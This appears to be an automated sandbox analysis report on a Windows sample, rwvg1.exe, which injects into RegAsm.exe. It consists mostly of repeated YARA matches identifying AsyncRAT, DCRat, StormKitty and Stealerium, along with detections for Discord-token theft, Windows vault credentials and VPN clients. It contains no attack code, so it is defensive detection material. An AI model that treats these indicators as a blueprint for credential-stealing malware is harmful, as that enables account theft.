Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen

.NET source code contains very large strings

Source: rwvg1.exe, Knvbl.cs

Long String: Length: 14748

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02A13370 NtProtectVirtualMemory,		5_2_02A13370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02A12F19 NtProtectVirtualMemory,		5_2_02A12F19

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02A127A0	5_2_02A127A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02A12792	5_2_02A12792
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02A12F19	5_2_02A12F19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_06229F3D	5_2_06229F3D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_06977460	5_2_06977460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_06970040	5_2_06970040

Source: rwvg1.exe, 00000000.00000002.1461268858.0000000002B22000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameClientAny.exe" vs rwvg1.exe
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamehvnc.exe" vs rwvg1.exe
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameClientAny.exe" vs rwvg1.exe
Source: rwvg1.exe, 00000000.00000002.1461268858.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameClientAny.exe" vs rwvg1.exe
Source: rwvg1.exe, 00000000.00000002.1460482194.0000000000CDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs rwvg1.exe
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamehvnc.exe" vs rwvg1.exe
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameClientAny.exe" vs rwvg1.exe
Source: rwvg1.exe, 00000000.00000002.1461185546.00000000028D0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameudnn4kvb.dll4 vs rwvg1.exe
Source: rwvg1.exe, 00000000.00000000.1421803059.0000000000652000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMercado.exe0 vs rwvg1.exe
Source: rwvg1.exe	Binary or memory string: OriginalFilenameMercado.exe0 vs rwvg1.exe

Source: dump.pcap, type: PCAP	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: dump.pcap, type: PCAP	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.rwvg1.exe.2b25490.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 0.2.rwvg1.exe.2b22442.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 0.2.rwvg1.exe.2aba14e.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 0.2.rwvg1.exe.2abcbb4.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 0.2.rwvg1.exe.2b22442.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 0.2.rwvg1.exe.2aba14e.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 0.2.rwvg1.exe.2abcbb4.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
